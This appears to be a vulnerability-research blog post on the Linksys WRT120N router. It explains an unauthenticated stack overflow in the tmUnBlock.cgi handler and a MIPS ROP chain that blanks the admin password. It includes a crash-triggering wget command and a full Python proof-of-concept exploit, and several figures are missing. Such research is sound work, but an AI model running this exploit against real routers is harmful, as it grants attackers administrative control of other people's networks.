With a good firmware disassembly and JTAG debug access to the WRT120N, it’s time to start examining the code for more interesting bugs.

As we’ve seen previously, the WRT120N runs a Real Time Operating System. For security, the RTOS’s administrative web interface employs HTTP Basic authentication:

Most of the web pages require authentication, but there are a handful of URLs that are explicitly allowed to bypass authentication:

Any request whose URL starts with one of these strings will be allowed without authentication, so they’re a good place to start hunting for bugs.

Some of these pages don’t actually exist; others exist but their request handlers don’t do anything (NULL subroutines). However, the /cgi/tmUnBlock.cgi page does have a handler that processes some user data:

The interesting bit of code to focus on is this:

fprintf(request->socket, "Location %s



", GetWebParam(cgi_handle, "TM_Block_URL"));

Although it at first appears benign, cgi_tmUnBlock‘s processing of the TM_Block_URL POST parameter is exploitable, thanks to a flaw in the fprintf implementation:

Yes, fprintf blindly vsprintf‘s the supplied format string and arguments to a local stack buffer of only 256 bytes.

This means that the user-supplied TM_Block_URL POST parameter will trigger a stack overflow in fprintf if it is larger than 246 (sizeof(buf) – strlen(“Location: “)) bytes:

$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi

A simple exploit would be to overwrite some critical piece of data in memory, say, the administrative password which is stored in memory at address 0x81544AF0:

The administrative password is treated as a standard NULL terminated string, so if we can write even a single NULL byte at the beginning of this address, we’ll be able to log in to the router with a blank password. We just have to make sure the system continues running normally after exploitation.

Looking at fprintf‘s epilogue, both the $ra and $s0 registers are restored from the stack, meaning that we can control both of those registers when we overflow the stack:

There’s also this nifty piece of code at address 0x8031F634 that stores four NULL bytes from the $zero register to the address contained in the $s0 register:

If we use the overflow to force fprintf to return to 0x8031F634 and overwrite $s0 with the address of the administrative password (0x81544AF0), then this code will:

Zero out the admin password

Return to the return address stored on the stack (we control the stack)

Add 16 to the stack pointer

This last point is actually a problem. We need the system to continue normally and not crash, but if we simply return to the cgi_tmUnBlock function like fprintf was supposed to, the stack pointer will be off by 16 bytes.

Finding a useful MIPS ROP gadget that decrements the stack pointer back 16 bytes can be difficult, so we’ll take a different approach.

Looking at the address where fprintf should have returned to cgi_tmUnblock, we see that all it is doing is restoring $ra, $s1 and $s0 from the stack, then returning and adding 0x60 to the stack pointer:

We’ve already added 0x10 to the stack pointer, so if we can find a second ROP gadget that restores the appropriate saved values for $ra, $s1 and $s0 from the stack and adds 0x50 to the stack pointer, then that ROP gadget can be used to effectively replace cgi_tmUnblock‘s function epilogue.

There aren’t any obvious gadgets that do this directly, but there is a nice one at 0x803471B8 that is close:

This gadget only adds 0x10 to the stack pointer, but that’s not a problem; we’ll set up some additional stack frames that will force this ROP gadget return to itself five times. On the fifth iteration, the original values of $ra, $s1 and $s0 that were passed to cgi_tmUnblock will be pulled off the stack, and our ROP gadget will return to cgi_tmUnblock‘s caller:

With the register contents and stack having been properly restored, the system should continue running along as if nothing ever happened. Here’s some PoC code (download):

import sys import urllib2 try: target = sys.argv[1] except IndexError: print "Usage: %s <target ip>" % sys.argv[0] sys.exit(1) url = target + '/cgi-bin/tmUnblock.cgi' if '://' not in url: url = 'http://' + url post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=" post_data += "B" * 246 # Filler post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory post_data += "\x80\x31\xF6\x34" # $ra post_data += "C" * 0x28 # Stack filler post_data += "D" * 4 # ROP 1 $s0, don't care post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2) post_data += "E" * 8 # Stack filler for i in range(0, 4): post_data += "F" * 4 # ROP 2 $s0, don't care post_data += "G" * 4 # ROP 2 $s1, don't care post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself) post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the # last stack frame where it needs to be 1 byte (to # account for the trailing "



" and terminating # NULL byte) try: req = urllib2.Request(url, post_data) res = urllib2.urlopen(req) except urllib2.HTTPError as e: if e.code == 500: print "OK" else: print "Received unexpected server response:", str(e) except KeyboardInterrupt: pass

Arbitrary code execution is also possible, but that’s another post for another day.